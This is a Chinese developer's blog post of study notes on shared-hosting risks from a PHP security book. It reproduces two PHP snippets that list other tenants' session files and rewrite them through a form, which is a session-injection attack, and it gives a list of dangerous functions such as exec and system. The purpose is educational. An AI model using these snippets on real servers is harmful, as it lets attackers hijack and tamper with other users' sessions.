PHP安全基础 - 共享主机[整理]
来源:互联网 发布:淘宝刷客怎么申请退款 编辑:程序博客网 时间:2024/05/16 01:02
导读:共享主机不安全。至少不能达到高级别。
详细:
1 源码暴露
由于WEB服务器必须要能够读取源码并执行,这就一位这任意人所写的代码都可以被服务器运行。
要避免源码泄漏,就需要避免使用用户输入文件并执行。如果一定要,也需要制作白名单。
不在白名单内的输入统统返回错误。
2 会话数据暴露
书中提及的将会话数据保存到数据库中,还不知道业内是如何处理,但个人觉得,这么做,逻辑复杂了。待今后学习。
3 会话注入
文中提到,以下代码方便用户编辑已经存在的会话数据:
<?phpsession_start();?><form action="inject.php" method="POST"><?php$path = ini_get('session.save_path');$handle = dir($path);while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } }}$handle->close();?> <input type="submit" /></form>使用以下代码便可以进行攻击行为:
<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>十分的不解。
4 文件系统浏览
把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。
5 安全模式
开启PHP的safe_mode。
另外:
1 小心并尽量不使用以下函数:
eval exec file file_get_contents fopen include passthru phpinfo popen preg_replace proc_open readfile require shell_exec system
2 加密算法
-对称加密
-非对称加密(公钥)
-Hash函数(信息摘要)
-信息验证
主要关注于使用mcrypt扩展的对称加密算法。你需要参考的资料如下:
实用加密技术(Applied Cryptography), by Bruce Schneier (Wiley)
http://www.schneier.com/blog/
http://wikipedia.org/wiki/Cryptography
http://phpsec.org/articles/2005/password-hashing.html
http://pear.php.net/package/Crypt_HMAC
http://pear.php.net/package/Crypt_RSA
终于看完《PHP安全基础》了,加固了很多开发方面的安全知识。但是,对于书中提到的某些防范措施,对于当今的web应用来说,已经不足够安全了。希望在今后的开发中,学习到更多,补充完善自己的知识。
- PHP安全基础 - 共享主机[整理]
- php 安全基础 第八章 共享主机 源码暴露
- PHP安全基础 - 简介[整理]
- PHP安全基础 - 表单及URL[整理]
- PHP安全基础 - 数据库及SQL[整理]
- PHP安全基础 - 会话与COOKIE[整理]
- PHP安全基础 - 包含[整理]
- PHP安全基础 - 文件与命令[整理]
- PHP安全基础 - 验证与授权[整理]
- PHP安全编程之共享主机的源码安全
- PHP安全编程:主机文件目录浏览
- PHP脚本安全基础
- PHP+MySQL安全方案整理
- PHP+MySQL安全方案整理
- PHP+MySQL安全方案整理
- PHP+MySQL安全方案整理
- PHP+MySQL安全方案整理
- PHP+MySQL安全方案整理
- Dojo学习笔记——理解_WidgetBase
- 关于指定DIV的遍历内部DIV
- 队列的链式存储结构
- vs2008 试用版评估期结束的解决方法
- 其他一些实现HTTP链接的类 AndroidHttpClient 和GoogleHttpClient
- PHP安全基础 - 共享主机[整理]
- SQL Server重置Sa密码
- Linux 3.3.5 内核移植 for ok6410
- 分组grid插件jqgrid研究
- ArcGIS中多段线(MultiPart Polyline)的坐标提取及重绘
- 使用prettify为编辑器xhEditor添加代码(code)高亮显示
- 各种排序算法比较(2):时间复杂度,空间复杂度
- Linux内核分析之缺页中断
- 在MINI2440开发板上添加qtopia应用程序